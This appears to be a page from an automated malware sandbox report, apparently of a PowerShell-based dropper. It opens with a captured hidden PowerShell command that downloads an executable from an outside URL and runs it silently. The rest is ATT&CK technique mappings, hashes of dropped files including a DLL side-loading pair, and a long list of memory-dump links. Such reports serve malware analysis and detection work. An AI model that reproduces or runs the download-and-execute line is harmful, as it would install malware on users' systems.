        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=zjEjEHt1j823gmOXR2DSW01.txt' -OutFile $env:TEMP\BK563855.exe; Start-Process -FilePath $env:TEMP\BK563855.exe -WindowStyle Hidden }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4916

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

SecureEngineSDK64.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\f127e112144c2785\SecureEngineSDK64.dll
Size 28KB
SHA256 175a75ca524b269b25fb5144dc0abb4ac9b1673852df3abfbd4f6c449e01827d
MD5 6d8722b257230e3f691197715ec2b4b1
SHA1 bf141f3aff5b5e1cd2f02a5d81125931ba4a842d
SHA512 b6d077c57780ab6d58649cee36a1016573adfcafcfa8c823297a19f8bb1d1ea0c1b613044076bcd805a0c18dc37a78208ebaa4d0e19c192b65415028355f1069
SSDEEP 192:3Mi08s5GvuxBdzbNEQaSpqX5xS5haVWUcSAfMVIBizxhv:cdZxBhaHfSsA0V
TLSH
T148D2ACAF04B56EFBF91D1CF4059F3A9822C3F3D22DF4866D636E418401EA81B655F289
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dwmapi_real.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\f127e112144c2785\dwmapi_real.dll
Size 164KB
SHA256 500874955bde8a0230592273b6b21b24297eda459caf6b46768b33d8cb245f0f
MD5 cf4e081fb660a9223a0f1027fdf3e626
SHA1 d2d3379568526b6ade3748f9b80c44d8fb3d4f87
SHA512 d32dd4568b41c3cb62f3460d1ac54f151a562998e09efb1ca2733cd6f82afb8319ab5cbc90bc07162fcaee2c831ec1de6c0e552070b899fcb2455ac5085471ea
SSDEEP 3072:YKk4L8s9EwgOR9eh3NePS6vftRrnhVFHd:YANEwgy9I6ftpjL
TLSH
T18DF3481A33A900A5E17F827CC597870AF772B860171297EF12A0827C5F63BD96D39F52
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dwmapi.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\f62bb9bba965c7f2\dwmapi.dll
Size 8.9MB
SHA256 3f92f935769dcce937f66754822abe257437457476361e466a3f307869d7fd3a
MD5 688a9e523bc1448b4c5c3a8beb67082a
SHA1 339529b039f22520e7886ddf6c2b84a360f95e32
SHA512 196d4d51048c6b76f333ef083cd499304f4b73beff463f45b0e2dcbea51be31b31284edf918c5bb21c3175dc2a4fcfd8fd79ed44bfe953f877e02a23a4a1c36f
SSDEEP 196608:HTCAxilOx5NgIt+oG14idBdSQXEpRb6iyzd4wH3Ve8tzaJ:zxUlOdtw4uBdSQXg6iyewUYGJ
TLSH
T15A963328E89D0BE0C11D6573BC69883FA5F3670552F460D26549B847FAB9E7BA030D3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sckmd_loader.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\f62bb9bba965c7f2\sckmd_loader.exe
Size 45.6MB
SHA256 a62b8df70b845a4bc241f25ab606a102e6c07c3202c830c79c1d078e4e744e6b
MD5 b5cdf0e700006764a96591a5880a4e16
SHA1 80b44f80706a6979e430e324f06df7e10cdfba1b
SHA512 d056bf73d355877acd31bda108c5b60e11194b523777a01e56eb3adbe27549d83ff00d59e65c0d46c613510f5109fd7e90ff189dc6aa0404866ea11d38112f49
SSDEEP 786432:8KHFyuvMp6X7ExwSORjCTwcZxW7r/8o/kvVgxoWG2U7RYpu38lyb:8s/Mc7YZO5CTW3/kvVgxGx38lyb
TLSH
T108A723C756E693D8C4D31A442ACF12CB51C1B5BEC4EEC96D2EC75C032520DAB898E9B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 73416f74fdfd1f94a9a6bae3857a053a15e88949ce0bccc8233a668ed80ad4e3
MD5 cdef7f5541ec6f1c22c735acb14c642d
SHA1 990146a91c39b09f418a35e19b1dd6175de57ce3
SHA512 c80e3d4c622ce107092bcefb786904403c9765c83866815c70b5b620e1a343c4afa42cd658e63477c4dadc0ae7ff0c83e08d4189d1b58f4324642221091b880d
TLSH
T1FD215927B3DC8961CC86123A109D9C1176A683D7819EDFDF6BC4D614A1BF598CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4c0eb8473c493d0757b6ea7dddbb4d2026d04f33a7211b0483e63c2129b832cf
MD5 122cdd3d3cdf3b6c118cb8431dfb9966
SHA1 9cb2870201b39322824beac683e6ffb6743f1d23
SHA512 20d8eb7be137f033bc1a6d37507f0a82407301bebd95e4f64f3fdc62069f594c6f6560990857d7b74173cf4a4f7e42557f905bfd01da6fab0e03fccb414e7025
TLSH
T1FB21A837B3DC8921CC86163A409D9C1072B283C7819ECF9FAFC4D604A07F988CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 526b50b99ef33053852b075cf26f2de5793c86201efcb0139227908f63847033
MD5 d9ae144115ef396bf953dd98571ec5bf
SHA1 60d926f486459764c2d831ac97291b068a88edd3
SHA512 513a3634cbeb8e6dc67e931764d731d92d9415ebdaebb93e9cc69ec3dcb7f7bc4148cf36ca82d6e532fbedd24690a5212fb21a385f2c270d92bbaef9b35cab21
TLSH
T135218627B3DC89A1CC86123A009D9C1072A783C7819ECFDF6BC0D614A0BF998CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_dc1wrkva.hjm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dc1wrkva.hjm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1308-190-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-191-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-210-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-209-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-208-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-207-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-206-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-205-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-204-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-203-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-202-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-201-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-200-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-199-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-198-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-197-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-196-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-195-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-194-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-193-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-192-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-168-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-189-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-188-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-187-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-186-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-185-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-184-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-183-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-182-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-181-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-180-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-179-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-149-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-148-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-147-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-178-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-161-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-151-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-162-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1308-164-0x0000000140000000-0x0000000144C88000-memory.dmp

Download

memory/1764-110-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1764-77-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1764-122-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1764-120-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1764-119-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1764-118-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1764-111-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1764-79-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1764-107-0x0000000140000000-0x0000000144C88000-memory.dmp

Download

memory/1764-104-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1764-78-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/1764-80-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/2700-40-0x00007FF94ECF0000-0x00007FF94ECF2000-memory.dmp

Download

memory/2700-45-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/2700-53-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/2700-24-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/2700-23-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/2700-25-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/2700-41-0x0000000140000000-0x0000000144C88000-memory.dmp

Download

memory/2700-39-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/2700-38-0x0000000180000000-0x0000000181841000-memory.dmp

Download

memory/3680-12-0x000001ECB8110000-0x000001ECB8132000-memory.dmp

Download

memory/3680-10-0x000001ECD0250000-0x000001ECD0260000-memory.dmp

Download

memory/3680-9-0x000001ECD0250000-0x000001ECD0260000-memory.dmp

Download

memory/4676-91-0x000002896C740000-0x000002896C741000-memory.dmp

Download

memory/4676-90-0x000002896C740000-0x000002896C741000-memory.dmp

Download

memory/4676-89-0x000002896C740000-0x000002896C741000-memory.dmp

Download

memory/4676-101-0x000002896C740000-0x000002896C741000-memory.dmp

Download

memory/4676-100-0x000002896C740000-0x000002896C741000-memory.dmp

Download

memory/4676-99-0x000002896C740000-0x000002896C741000-memory.dmp

Download

memory/4676-98-0x000002896C740000-0x000002896C741000-memory.dmp

Download

memory/4676-97-0x000002896C740000-0x000002896C741000-memory.dmp

Download

memory/4676-96-0x000002896C740000-0x000002896C741000-memory.dmp

Download

memory/4676-95-0x000002896C740000-0x000002896C741000-memory.dmp

Download